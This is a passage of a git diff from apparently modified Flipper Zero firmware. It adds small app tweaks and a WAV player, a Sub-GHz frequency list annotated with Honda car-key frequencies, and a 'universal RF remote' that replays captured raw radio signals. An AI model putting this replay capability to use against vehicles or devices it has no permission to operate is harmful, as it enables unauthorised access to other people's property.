0.5f, 0.75f, 1.0f}; -#define DELAY_COUNT 6 +#define DELAY_COUNT 7 const char* const delay_text[DELAY_COUNT] = { "1s", "5s", "15s", "30s", "60s", + "90s", "120s", }; -const uint32_t delay_value[DELAY_COUNT] = {1000, 5000, 15000, 30000, 60000, 120000}; +const uint32_t delay_value[DELAY_COUNT] = {1000, 5000, 15000, 30000, 60000, 90000, 120000}; #define VIBRO_COUNT 2 const char* const vibro_text[VIBRO_COUNT] = { diff --git a/applications/snake_game/snake_game.c b/applications/snake_game/snake_game.c index bb9e207de..b07210ee5 100644 --- a/applications/snake_game/snake_game.c +++ b/applications/snake_game/snake_game.c @@ -2,6 +2,8 @@ #include #include #include +#include +#include typedef struct { // +-----x @@ -298,6 +300,11 @@ static void snake_game_process_game_step(SnakeState* const snake_state) { bool eatFruit = (next_step.x == snake_state->fruit.x) && (next_step.y == snake_state->fruit.y); if(eatFruit) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &sequence_single_vibro); + notification_message(notification, &sequence_blink_white_100); + furi_record_close("notification"); + snake_state->len++; if(snake_state->len >= MAX_SNAKE_LEN) { snake_state->state = GameStateGameOver; diff --git a/applications/spectrum_analyzer/spectrum_analyzer.c b/applications/spectrum_analyzer/spectrum_analyzer.c index e3f557791..5d9ec2531 100644 --- a/applications/spectrum_analyzer/spectrum_analyzer.c +++ b/applications/spectrum_analyzer/spectrum_analyzer.c @@ -20,7 +20,7 @@ typedef struct { uint32_t channel0_frequency; uint32_t spacing; - double max_rssi; + float max_rssi; uint8_t max_rssi_dec; uint8_t max_rssi_channel; uint8_t channel_ss[NUM_CHANNELS]; @@ -135,7 +135,7 @@ static void spectrum_analyzer_render_callback(Canvas* const canvas, void* ctx) { temp_str, 36, "Peak: %3.2f Mhz %3.1f dbm", - ((double)(model->channel0_frequency + (model->max_rssi_channel * model->spacing)) / + ((float)(model->channel0_frequency + (model->max_rssi_channel * model->spacing)) / 1000000), model->max_rssi); canvas_draw_str_aligned(canvas, 127, 0, AlignRight, AlignTop, temp_str); @@ -156,7 +156,7 @@ static void spectrum_analyzer_input_callback(InputEvent* input_event, void* ctx) static void spectrum_analyzer_worker_callback( void* channel_ss, - double max_rssi, + float max_rssi, uint8_t max_rssi_dec, uint8_t max_rssi_channel, void* context) { diff --git a/applications/spectrum_analyzer/spectrum_analyzer_worker.c b/applications/spectrum_analyzer/spectrum_analyzer_worker.c index 2b98bae7b..9bf3c1085 100644 --- a/applications/spectrum_analyzer/spectrum_analyzer_worker.c +++ b/applications/spectrum_analyzer/spectrum_analyzer_worker.c @@ -16,7 +16,7 @@ struct SpectrumAnalyzerWorker { uint32_t channel0_frequency; uint32_t spacing; uint8_t width; - double max_rssi; + float max_rssi; uint8_t max_rssi_dec; uint8_t max_rssi_channel; diff --git a/applications/spectrum_analyzer/spectrum_analyzer_worker.h b/applications/spectrum_analyzer/spectrum_analyzer_worker.h index 1f5002359..ca051dacc 100644 --- a/applications/spectrum_analyzer/spectrum_analyzer_worker.h +++ b/applications/spectrum_analyzer/spectrum_analyzer_worker.h @@ -4,7 +4,7 @@ typedef void (*SpectrumAnalyzerWorkerCallback)( void* chan_table, - double max_rssi, + float max_rssi, uint8_t max_rssi_dec, uint8_t max_rssi_channel, void* context); diff --git a/applications/subghz/scenes/subghz_scene_read_raw.c b/applications/subghz/scenes/subghz_scene_read_raw.c index 767f09248..6914bdb31 100644 --- a/applications/subghz/scenes/subghz_scene_read_raw.c +++ b/applications/subghz/scenes/subghz_scene_read_raw.c @@ -1,10 +1,12 @@ +#include +#include #include "../subghz_i.h" #include "../views/subghz_read_raw.h" #include #include #include -#define RAW_FILE_NAME "Raw_signal_" +#define RAW_FILE_NAME "R_" #define TAG "SubGhzSceneReadRAW" bool subghz_scene_read_raw_update_filename(SubGhz* subghz) { @@ -237,8 +239,17 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { string_t temp_str; string_init(temp_str); + + FuriHalRtcDateTime datetime; + furi_hal_rtc_get_datetime(&datetime); + char strings[1][25]; + sprintf(strings[0], "%s%.4d%.2d%.2d%.2d%.2d", "R" + , datetime.year, datetime.month, datetime.day + , datetime.hour, datetime.minute + ); + string_printf( - temp_str, "%s/%s%s", SUBGHZ_RAW_FOLDER, RAW_FILE_NAME, SUBGHZ_APP_EXTENSION); + temp_str, "%s/%s%s", SUBGHZ_RAW_FOLDER, strings[0], SUBGHZ_APP_EXTENSION); subghz_protocol_raw_gen_fff_data(subghz->txrx->fff_data, string_get_cstr(temp_str)); string_clear(temp_str); @@ -259,9 +270,17 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneNeedSaving); } else { //subghz_get_preset_name(subghz, subghz->error_str); + FuriHalRtcDateTime datetime; + furi_hal_rtc_get_datetime(&datetime); + char strings[1][25]; + sprintf(strings[0], "%s%.4d%.2d%.2d%.2d%.2d", "R" + , datetime.year, datetime.month, datetime.day + , datetime.hour, datetime.minute + ); + if(subghz_protocol_raw_save_to_file_init( (SubGhzProtocolDecoderRAW*)subghz->txrx->decoder_result, - RAW_FILE_NAME, + strings[0], subghz->txrx->frequency, subghz->txrx->preset)) { DOLPHIN_DEED(DolphinDeedSubGhzRawRec); diff --git a/applications/subghz/subghz_setting.c b/applications/subghz/subghz_setting.c index 4d40d49ee..f5d3da5d4 100644 --- a/applications/subghz/subghz_setting.c +++ b/applications/subghz/subghz_setting.c @@ -19,25 +19,36 @@ typedef enum { static const uint32_t subghz_frequencies[] = { /* 300 - 348 */ 300000000, + 302757000, /* FCC ID N6U303NTX */ 303875000, - 304250000, + 304250000, /* Ceiling Fan - Harbor Breeze*/ + 310000000, + 313850000, /* 2007 Honda Key */ 315000000, 318000000, + 348000000, + 387000000, /* 387 - 464 */ 390000000, 418000000, 433075000, /* LPD433 first */ + 433220000, /* 2016-2020 Honda */ 433420000, + 433889000, /* ROGUE? */ + 433920000, /* LPD433 mid */ 434420000, 434775000, /* LPD433 last channels */ 438900000, + 464000000, /* 779 - 928 */ + 779000000, 868350000, 915000000, 925000000, + 928000000, 0, }; static const uint32_t subghz_hopper_frequencies[] = { diff --git a/applications/tetris_game/tetris_game.c b/applications/tetris_game/tetris_game.c index 222728114..8bfdd741c 100644 --- a/applications/tetris_game/tetris_game.c +++ b/applications/tetris_game/tetris_game.c @@ -269,7 +269,7 @@ static void tetris_game_update_timer_callback(osMessageQueueId_t event_queue) { int32_t tetris_game_app(void* p) { - UNUSED(p); + (void)p; srand(DWT->CYCCNT); osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(TetrisEvent), NULL); @@ -402,4 +402,4 @@ int32_t tetris_game_app(void* p) { free(tetris_state); return 0; -} +} \ No newline at end of file diff --git a/applications/universal_rf/universal_rf.c b/applications/universal_rf/universal_rf.c new file mode 100644 index 000000000..d37c38350 --- /dev/null +++ b/applications/universal_rf/universal_rf.c @@ -0,0 +1,303 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define TAG "UniveralRFRemote" + +typedef struct { + bool press[5]; +} RemoteAppState; + +static void remote_reset_state(RemoteAppState* state) { + state->press[0] = 0; + state->press[1] = 0; + state->press[2] = 0; + state->press[3] = 0; + state->press[4] = 0; +} +static string_t up_file; +static string_t down_file; +static string_t left_file; +static string_t right_file; +static string_t ok_file; + +static char* subString(char* someString, int n) { + char* new = malloc(sizeof(char) * n + 1); + strncpy(new, someString, n); + new[n] = '\0'; + return new; +} + +static char* file_stub(const char* file_name) { + string_t filename; + string_init(filename); + // string_init(file_name); + path_extract_filename_no_ext(file_name, filename); + + return subString((char*)string_get_cstr(filename), 8); +} + +static void remote_send_signal(uint32_t frequency, string_t signal, string_t protocol) { + uint32_t repeat = 1; + frequency = frequency ? frequency : 433920000; + FURI_LOG_D(TAG, "file to send: %s", string_get_cstr(signal)); + + if(strlen(string_get_cstr(signal)) < 10) { + return; + } + + string_t flipper_format_string; + if(strcmp(string_get_cstr(protocol), "RAW") == 0) { + string_init_printf(flipper_format_string, "File_name: %s", string_get_cstr(signal)); + } else { + return; + } + + FlipperFormat* flipper_format = flipper_format_string_alloc(); + Stream* stream = flipper_format_get_raw_stream(flipper_format); + stream_clean(stream); + stream_write_cstring(stream, string_get_cstr(flipper_format_string)); + + SubGhzEnvironment* environment = subghz_environment_alloc(); + + SubGhzTransmitter* transmitter = + subghz_transmitter_alloc_init(environment, string_get_cstr(protocol)); + subghz_transmitter_deserialize(transmitter, flipper_format); + + furi_hal_subghz_reset(); + furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok270Async); + furi_hal_subghz_set_frequency_and_path(frequency); + FURI_LOG_D( + TAG, "Transmitting at %lu, repeat %lu. Press CTRL+C to stop\r\n", frequency, repeat); + + furi_hal_power_suppress_charge_enter(); + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, transmitter); + + while(!(furi_hal_subghz_is_async_tx_complete())) { + FURI_LOG_D(TAG, "."); + fflush(stdout); + osDelay(333); + } + furi_hal_subghz_stop_async_tx(); + furi_hal_subghz_sleep(); + + furi_hal_power_suppress_charge_exit(); + + flipper_format_free(flipper_format); + subghz_transmitter_free(transmitter); + subghz_environment_free(environment); +} + +static void remote_render_callback(Canvas* canvas, void* ctx) { + RemoteAppState* state = (RemoteAppState*)acquire_mutex((ValueMutex*)ctx, 25); + canvas_clear(canvas); + char strings[5][20]; + string_t signal; + string_init(signal); + sprintf(strings[0], "Ok: %s", file_stub(string_get_cstr(ok_file))); + sprintf(strings[1], "L: %s", file_stub(string_get_cstr(left_file))); + sprintf(strings[2], "R: %s", file_stub(string_get_cstr(right_file))); + sprintf(strings[3], "U: %s", file_stub(string_get_cstr(up_file))); + sprintf(strings[4], "D: %s", file_stub(string_get_cstr(down_file))); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 0, 10, "Univeral Remote"); + + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 0, 24, strings[1]); + canvas_draw_str(canvas, 85, 24, strings[2]); + canvas_draw_str(canvas, 0, 36, strings[3]); + canvas_draw_str(canvas, 85, 36, strings[4]); + canvas_draw_str(canvas, 0, 48, strings[0]); + // canvas_draw_circle(canvas, 100, 26, 25); + + if(state->press[0]) { + string_cat_printf(signal, "%s", string_get_cstr(right_file)); + } + + else if(state->press[1]) { + string_cat_printf(signal, "%s", string_get_cstr(left_file)); + + } else if(state->press[2]) { + string_cat_printf(signal, "%s", string_get_cstr(up_file)); + + } else if(state->press[3]) { + string_cat_printf(signal, "%s", string_get_cstr(down_file)); + + } + + else if(state->press[4]) { + string_cat_printf(signal, "%s", string_get_cstr(ok_file)); + } + FURI_LOG_D(TAG, "signal = %s", string_get_cstr(signal)); + + if(strlen(string_get_cstr(signal)) > 12) { + string_t file_name; + string_init(file_name); + string_t protocol; + string_init(protocol); + string_set(file_name, string_get_cstr(signal)); + Storage* storage = furi_record_open("storage"); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + uint32_t frequency_str; + flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name)); + flipper_format_read_uint32(fff_data_file, "Frequency", (uint32_t*)&frequency_str, 1); + if(!flipper_format_read_string(fff_data_file, "Protocol", protocol)) { + FURI_LOG_D(TAG, "Could not read Protocol"); + string_set(protocol, "RAW"); + } + flipper_format_free(fff_data_file); + furi_record_close("storage"); + FURI_LOG_D(TAG, "%lu", frequency_str); + remote_send_signal(frequency_str, signal, protocol); + } + + canvas_draw_str(canvas, 10, 63, "[back] - skip, hold to exit"); + + release_mutex((ValueMutex*)ctx, state); +} + +static void remote_input_callback(InputEvent* input_event, void* ctx) { + osMessageQueueId_t event_queue = ctx; + osMessageQueuePut(event_queue, input_event, 0, osWaitForever); +} + +int32_t universal_rf_remote_app(void* p) { + UNUSED(p); + osMessageQueueId_t event_queue = osMessageQueueNew(32, sizeof(InputEvent), NULL); + furi_check(event_queue); + string_init(up_file); + string_init(down_file); + string_init(left_file); + string_init(right_file); + string_init(ok_file); + + string_t file_name; + string_init(file_name); + string_set(file_name, "/ext/subghz/assets/universal_rf_map"); + Storage* storage = furi_record_open("storage"); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { + FURI_LOG_D(TAG, "Could not open file %s", string_get_cstr(file_name)); + } + + if(!flipper_format_read_string(fff_data_file, "UP", up_file)) { + FURI_LOG_D(TAG, "Could not read UP string"); + } + if(!flipper_format_read_string(fff_data_file, "DOWN", down_file)) { + FURI_LOG_D(TAG, "Could not read DOWN string"); + } + if(!flipper_format_read_string(fff_data_file, "LEFT", left_file)) { + FURI_LOG_D(TAG, "Could not read LEFT string"); + } + if(!flipper_format_read_string(fff_data_file, "RIGHT", right_file)) { + FURI_LOG_D(TAG, "Could not read RIGHT string"); + } + if(!flipper_format_read_string(fff_data_file, "OK", ok_file)) { + FURI_LOG_D(TAG, "Could not read OK string"); + } + flipper_format_free(fff_data_file); + furi_record_close("storage"); + FURI_LOG_I( + TAG, + "%s %s %s %s %s ", + string_get_cstr(up_file), + string_get_cstr(down_file), + string_get_cstr(left_file), + string_get_cstr(right_file), + string_get_cstr(ok_file)); + + RemoteAppState _state = {{false, false, false, false, false}}; + + ValueMutex state_mutex; + if(!init_mutex(&state_mutex, &_state, sizeof(RemoteAppState))) { + FURI_LOG_D(TAG, "cannot create mutex"); + return 0; + } + + ViewPort* view_port = view_port_alloc(); + + view_port_draw_callback_set(view_port, remote_render_callback, &state_mutex); + view_port_input_callback_set(view_port, remote_input_callback, event_queue); + + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + InputEvent event; + while(osMessageQueueGet(event_queue, &event, NULL, osWaitForever) == osOK) { + RemoteAppState* state = (RemoteAppState*)acquire_mutex_block(&state_mutex); + FURI_LOG_D( + TAG, + "key: %s type: %s", + input_get_key_name(event.key), + input_get_type_name(event.type)); + + if(event.key == InputKeyRight) { + if(event.type == InputTypePress) { + state->press[0] = true; + } else if(event.type == InputTypeRelease) { + state->press[0] = false; + } else if(event.type == InputTypeShort) { + state->press[0] = false; + } + } else if(event.key == InputKeyLeft) { + if(event.type == InputTypePress) { + state->press[1] = true; + } else if(event.type == InputTypeRelease) { + state->press[1] = false; + } else if(event.type == InputTypeShort) { + state->press[1] = false; + } + } else if(event.key == InputKeyUp) { + if(event.type == InputTypePress) { + state->press[2] = true; + } else if(event.type == InputTypeRelease) { + state->press[2] = false; + } else if(event.type == InputTypeShort) { + state->press[2] = false; + } + } else if(event.key == InputKeyDown) { + if(event.type == InputTypePress) { + state->press[3] = true; + } else if(event.type == InputTypeRelease) { + state->press[3] = false; + } else if(event.type == InputTypeShort) { + state->press[3] = false; + } + } else if(event.key == InputKeyOk) { + if(event.type == InputTypePress) { + state->press[4] = true; + } else if(event.type == InputTypeRelease) { + state->press[4] = false; + } else if(event.type == InputTypeShort) { + state->press[4] = false; + } + } else if(event.key == InputKeyBack) { + if(event.type == InputTypeLong) { + release_mutex(&state_mutex, state); + break; + } else if(event.type == InputTypeShort) { + remote_reset_state(state); + } + } + release_mutex(&state_mutex, state); + view_port_update(view_port); + } + + // remove & free all stuff created by app + gui_remove_view_port(gui, view_port); + view_port_free(view_port); + osMessageQueueDelete(event_queue); + delete_mutex(&state_mutex); + + furi_record_close("gui"); + + return 0; +} diff --git a/applications/wav_player/wav_parser.c b/applications/wav_player/wav_parser.c new file mode 100644 index 000000000..c2897706c --- /dev/null +++ b/applications/wav_player/wav_parser.c @@ -0,0 +1,84 @@ +#include "wav_parser.h" + +#define TAG "WavParser" + +const char* format_text(FormatTag tag) { + switch(tag) { + case FormatTagPCM: + return "PCM"; + case FormatTagIEEE_FLOAT: + return "IEEE FLOAT"; + default: + return "Unknown"; + } +}; + +struct WavParser { + WavHeaderChunk header; + WavFormatChunk format; + WavDataChunk data; + size_t wav_data_start; + size_t wav_data_end; +}; + +WavParser* wav_parser_alloc() { + return malloc(sizeof(WavParser)); +} + +void wav_parser_free(WavParser* parser) { + free(parser); +} + +bool wav_parser_parse(WavParser* parser, Stream* stream) { + stream_read(stream, (uint8_t*)&parser->header, sizeof(WavHeaderChunk)); + stream_read(stream, (uint8_t*)&parser->format, sizeof(WavFormatChunk)); + stream_read(stream, (uint8_t*)&parser->data, sizeof(WavDataChunk)); + + if(memcmp(parser->header.riff, "RIFF", 4) != 0 || + memcmp(parser->header.wave, "WAVE", 4) != 0) { + FURI_LOG_E(TAG, "WAV: wrong header"); + return false; + } + + if(memcmp(parser->format.fmt, "fmt ", 4) != 0) { + FURI_LOG_E(TAG, "WAV: wrong format"); + return false; + } + + if(parser->format.tag != FormatTagPCM || memcmp(parser->data.data, "data", 4) != 0) { + FURI_LOG_E( + TAG, + "WAV: non-PCM format %u, next '%lu'", + parser->format.tag, + (uint32_t)parser->data.data); + return false; + } + + FURI_LOG_I( + TAG, + "Format tag: %s, ch: %u, smplrate: %lu, bps: %lu, bits: %u", + format_text(parser->format.tag), + parser->format.channels, + parser->format.sample_rate, + parser->format.byte_per_sec, + parser->format.bits_per_sample); + + parser->wav_data_start = stream_tell(stream); + parser->wav_data_end = parser->wav_data_start + parser->data.size; + + FURI_LOG_I(TAG, "data: %u - %u", parser->wav_data_start, parser->wav_data_end); + + return true; +} + +size_t wav_parser_get_data_start(WavParser* parser) { + return parser->wav_data_start; +} + +size_t wav_parser_get_data_end(WavParser* parser) { + return parser->wav_data_end; +} + +size_t wav_parser_get_data_len(WavParser* parser) { + return parser->wav_data_end - parser->wav_data_start; +} diff --git a/applications/wav_player/wav_parser.h b/applications/wav_player/wav_parser.h new file mode 100644 index 000000000..f50c48b3f --- /dev/null +++ b/applications/wav_player/wav_parser.h @@ -0,0 +1,51 @@ +#pragma once +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + FormatTagPCM = 0x0001, + FormatTagIEEE_FLOAT = 0x0003, +} FormatTag; + +typedef struct { + uint8_t riff[4]; + uint32_t size; + uint8_t wave[4]; +} WavHeaderChunk; + +typedef struct { + uint8_t fmt[4]; + uint32_t size; + uint16_t tag; + uint16_t channels; + uint32_t sample_rate; + uint32_t byte_per_sec; + uint16_t block_align; + uint16_t bits_per_sample; +} WavFormatChunk; + +typedef struct { + uint8_t data[4]; + uint32_t size; +} WavDataChunk; + +typedef struct WavParser WavParser; + +WavParser* wav_parser_alloc(); + +void wav_parser_free(WavParser* parser); + +bool wav_parser_parse(WavParser* parser, Stream* stream); + +size_t wav_parser_get_data_start(WavParser* parser); + +size_t wav_parser_get_data_end(WavParser* parser); + +size_t wav_parser_get_data_len(WavParser* parser); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/applications/wav_player/wav_player.c b/applications/wav_player/wav_player.c new file mode 100644 index 000000000..e86acf5b2 --- /dev/null +++ b/applications/wav_player/wav_player.c @@ -0,0 +1,303 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "wav_player_hal.h" +#include "wav_parser.h" +#include "wav_player_view.h" + +#define TAG "WavPlayer" + +static bool open_wav_stream(Storage* storage, Stream* stream) { + DialogsApp* dialogs = furi_record_open("dialogs"); + bool result = false; + size_t name_size = 255; + char* name_buffer = malloc(name_size); + string_t path; + string_init(path); + + bool ret = + dialog_file_select_show(dialogs, "/ext/wav_player", ".wav", name_buffer, name_size, NULL); + furi_record_close("dialogs"); + + if(ret) { + string_printf(path, "%s/%s.%s", "/ext/wav_player", name_buffer, "wav"); + if(!file_stream_open(stream, string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { + FURI_LOG_E(TAG, "Cannot open file \"%s\"", string_get_cstr(path)); + } else { + result = true; + } + } + + string_clear(path); + free(name_buffer); + return result; +} + +typedef enum { + WavPlayerEventHalfTransfer, + WavPlayerEventFullTransfer, + WavPlayerEventCtrlVolUp, + WavPlayerEventCtrlVolDn, + WavPlayerEventCtrlMoveL, + WavPlayerEventCtrlMoveR, + WavPlayerEventCtrlOk, + WavPlayerEventCtrlBack, +} WavPlayerEventType; + +typedef struct { + WavPlayerEventType type; +} WavPlayerEvent; + +static void wav_player_dma_isr(void* ctx) { + osMessageQueueId_t event_queue = ctx; + + // half of transfer + if(LL_DMA_IsActiveFlag_HT1(DMA1)) { + LL_DMA_ClearFlag_HT1(DMA1); + // fill first half of buffer + WavPlayerEvent event = {.type = WavPlayerEventHalfTransfer}; + osMessageQueuePut(event_queue, &event, 0, 0); + } + + // transfer complete + if(LL_DMA_IsActiveFlag_TC1(DMA1)) { + LL_DMA_ClearFlag_TC1(DMA1); + // fill second half of buffer + WavPlayerEvent event = {.type = WavPlayerEventFullTransfer}; + osMessageQueuePut(event_queue, &event, 0, 0); + } +} + +typedef struct { + Storage* storage; + Stream* stream; + WavParser* parser; + uint16_t* sample_buffer; + uint8_t* tmp_buffer; + + size_t samples_count_half; + size_t samples_count; + + osMessageQueueId_t queue; + + float volume; + bool play; + + WavPlayerView* view; + ViewDispatcher* view_dispatcher; + Gui* gui; + NotificationApp* notification; +} WavPlayerApp; + +static WavPlayerApp* app_alloc() { + WavPlayerApp* app = malloc(sizeof(WavPlayerApp)); + app->samples_count_half = 1024 * 4; + app->samples_count = app->samples_count_half * 2; + app->storage = furi_record_open("storage"); + app->stream = file_stream_alloc(app->storage); + app->parser = wav_parser_alloc(); + app->sample_buffer = malloc(sizeof(uint16_t) * app->samples_count); + app->tmp_buffer = malloc(sizeof(uint8_t) * app->samples_count); + app->queue = osMessageQueueNew(10, sizeof(WavPlayerEvent), NULL); + + app->volume = 10.0f; + app->play = true; + + app->gui = furi_record_open("gui"); + app->view_dispatcher = view_dispatcher_alloc(); + app->view = wav_player_view_alloc(); + + view_dispatcher_add_view(app->view_dispatcher, 0, wav_player_view_get_view(app->view)); + view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + view_dispatcher_switch_to_view(app->view_dispatcher, 0); + + app->notification = furi_record_open("notification"); + notification_message(app->notification, &sequence_display_backlight_enforce_on); + + return app; +} + +static void app_free(WavPlayerApp* app) { + view_dispatcher_remove_view(app->view_dispatcher, 0); + view_dispatcher_free(app->view_dispatcher); + wav_player_view_free(app->view); + furi_record_close("gui"); + + osMessageQueueDelete(app->queue); + free(app->tmp_buffer); + free(app->sample_buffer); + wav_parser_free(app->parser); + stream_free(app->stream); + furi_record_close("storage"); + + notification_message(app->notification, &sequence_display_backlight_enforce_auto); + furi_record_close("notification"); + free(app); +} + +// TODO: that works only with 8-bit 2ch audio +static bool fill_data(WavPlayerApp* app, size_t index) { + uint16_t* sample_buffer_start = &app->sample_buffer[index]; + size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); + + for(size_t i = count; i < app->samples_count; i++) { + app->tmp_buffer[i] = 0; + } + + for(size_t i = 0; i < app->samples_count; i += 2) { + float data = app->tmp_buffer[i]; + data -= UINT8_MAX / 2; // to signed + data /= UINT8_MAX / 2; // scale -1..1 + + data *= app->volume; // volume + data = tanhf(data); // hyperbolic tangent limiter + + data *= UINT8_MAX / 2; // scale -128..127 + data += UINT8_MAX / 2; // to unsigned + + if(data < 0) { + data = 0; + } + + if(data > 255) { + data = 255; + } + + sample_buffer_start[i / 2] = data; + } + + wav_player_view_set_data(app->view, sample_buffer_start, app->samples_count_half); + + return count != app->samples_count; +} + +static void ctrl_callback(WavPlayerCtrl ctrl, void* ctx) { + osMessageQueueId_t event_queue = ctx; + WavPlayerEvent event; + + switch(ctrl) { + case WavPlayerCtrlVolUp: + event.type = WavPlayerEventCtrlVolUp; + osMessageQueuePut(event_queue, &event, 0, 0); + break; + case WavPlayerCtrlVolDn: + event.type = WavPlayerEventCtrlVolDn; + osMessageQueuePut(event_queue, &event, 0, 0); + break; + case WavPlayerCtrlMoveL: + event.type = WavPlayerEventCtrlMoveL; + osMessageQueuePut(event_queue, &event, 0, 0); + break; + case WavPlayerCtrlMoveR: + event.type = WavPlayerEventCtrlMoveR; + osMessageQueuePut(event_queue, &event, 0, 0); + break; + case WavPlayerCtrlOk: + event.type = WavPlayerEventCtrlOk; + osMessageQueuePut(event_queue, &event, 0, 0); + break; + case WavPlayerCtrlBack: + event.type = WavPlayerEventCtrlBack; + osMessageQueuePut(event_queue, &event, 0, 0); + break; + default: + break; + } +} + +static void app_run(WavPlayerApp* app) { + if(!open_wav_stream(app->storage, app->stream)) return; + if(!wav_parser_parse(app->parser, app->stream)) return; + + wav_player_view_set_volume(app->view, app->volume); + wav_player_view_set_start(app->view, wav_parser_get_data_start(app->parser)); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + wav_player_view_set_end(app->view, wav_parser_get_data_end(app->parser)); + wav_player_view_set_play(app->view, app->play); + + wav_player_view_set_context(app->view, app->queue); + wav_player_view_set_ctrl_callback(app->view, ctrl_callback); + + bool eof = fill_data(app, 0); + eof = fill_data(app, app->samples_count_half); + + wav_player_speaker_init(); + wav_player_dma_init((uint32_t)app->sample_buffer, app->samples_count); + + furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, wav_player_dma_isr, app->queue); + + wav_player_dma_start(); + wav_player_speaker_start(); + + WavPlayerEvent event; + + while(1) { + if(osMessageQueueGet(app->queue, &event, NULL, osWaitForever) == osOK) { + if(event.type == WavPlayerEventHalfTransfer) { + eof = fill_data(app, 0); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + if(eof) { + stream_seek( + app->stream, + wav_parser_get_data_start(app->parser), + StreamOffsetFromStart); + } + + } else if(event.type == WavPlayerEventFullTransfer) { + eof = fill_data(app, app->samples_count_half); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + if(eof) { + stream_seek( + app->stream, + wav_parser_get_data_start(app->parser), + StreamOffsetFromStart); + } + } else if(event.type == WavPlayerEventCtrlVolUp) { + if(app->volume < 9.9) app->volume += 0.2; + wav_player_view_set_volume(app->view, app->volume); + } else if(event.type == WavPlayerEventCtrlVolDn) { + if(app->volume > 0.01) app->volume -= 0.2; + wav_player_view_set_volume(app->view, app->volume); + } else if(event.type == WavPlayerEventCtrlMoveL) { + int32_t seek = stream_tell(app->stream) - wav_parser_get_data_start(app->parser); + seek = MIN(seek, wav_parser_get_data_len(app->parser) / 100); + stream_seek(app->stream, -seek, StreamOffsetFromCurrent); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + } else if(event.type == WavPlayerEventCtrlMoveR) { + int32_t seek = wav_parser_get_data_end(app->parser) - stream_tell(app->stream); + seek = MIN(seek, wav_parser_get_data_len(app->parser) / 100); + stream_seek(app->stream, seek, StreamOffsetFromCurrent); + wav_player_view_set_current(app->view, stream_tell(app->stream)); + } else if(event.type == WavPlayerEventCtrlOk) { + app->play = !app->play; + wav_player_view_set_play(app->view, app->play); + + if(!app->play) { + wav_player_speaker_stop(); + } else { + wav_player_speaker_start(); + } + } else if(event.type == WavPlayerEventCtrlBack) { + break; + } + } + } + + wav_player_speaker_stop(); + wav_player_dma_stop(); + + furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, NULL, NULL); +} + +int32_t wav_player_app(void* p) { + WavPlayerApp* app = app_alloc(); + app_run(app); + app_free(app); + return 0; +} \ No newline at end of file diff --git a/applications/wav_player/wav_player_hal.c b/applications/wav_player/wav_player_hal.c new file mode 100644 index 000000000..ad0c019be --- /dev/null +++ b/applications/wav_player/wav_player_hal.c @@ -0,0 +1,58 @@ +#include "wav_player_hal.h" +#include +#include + +#define FURI_HAL_SPEAKER_TIMER TIM16 +#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1 +#define DMA_INSTANCE DMA1, LL_DMA_CHANNEL_1 + +void wav_player_speaker_init() { + LL_TIM_InitTypeDef TIM_InitStruct = {0}; + TIM_InitStruct.Prescaler = 4; + TIM_InitStruct.Autoreload = 255; + LL_TIM_Init(FURI_HAL_SPEAKER_TIMER, &TIM_InitStruct); + + LL_TIM_OC_InitTypeDef TIM_OC_InitStruct = {0}; + TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1; + TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE; + TIM_OC_InitStruct.CompareValue = 127; + LL_TIM_OC_Init(FURI_HAL_SPEAKER_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct); +} + +void wav_player_speaker_start() { + LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER); + LL_TIM_EnableCounter(FURI_HAL_SPEAKER_TIMER); +} + +void wav_player_speaker_stop() { + LL_TIM_DisableAllOutputs(FURI_HAL_SPEAKER_TIMER); + LL_TIM_DisableCounter(FURI_HAL_SPEAKER_TIMER); +} + +void wav_player_dma_init(uint32_t address, size_t size) { + uint32_t dma_dst = (uint32_t) & (FURI_HAL_SPEAKER_TIMER->CCR1); + + LL_DMA_ConfigAddresses(DMA_INSTANCE, address, dma_dst, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); + LL_DMA_SetDataLength(DMA_INSTANCE, size); + + LL_DMA_SetPeriphRequest(DMA_INSTANCE, LL_DMAMUX_REQ_TIM16_UP); + LL_DMA_SetDataTransferDirection(DMA_INSTANCE, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); + LL_DMA_SetChannelPriorityLevel(DMA_INSTANCE, LL_DMA_PRIORITY_VERYHIGH); + LL_DMA_SetMode(DMA_INSTANCE, LL_DMA_MODE_CIRCULAR); + LL_DMA_SetPeriphIncMode(DMA_INSTANCE, LL_DMA_PERIPH_NOINCREMENT); + LL_DMA_SetMemoryIncMode(DMA_INSTANCE, LL_DMA_MEMORY_INCREMENT); + LL_DMA_SetPeriphSize(DMA_INSTANCE, 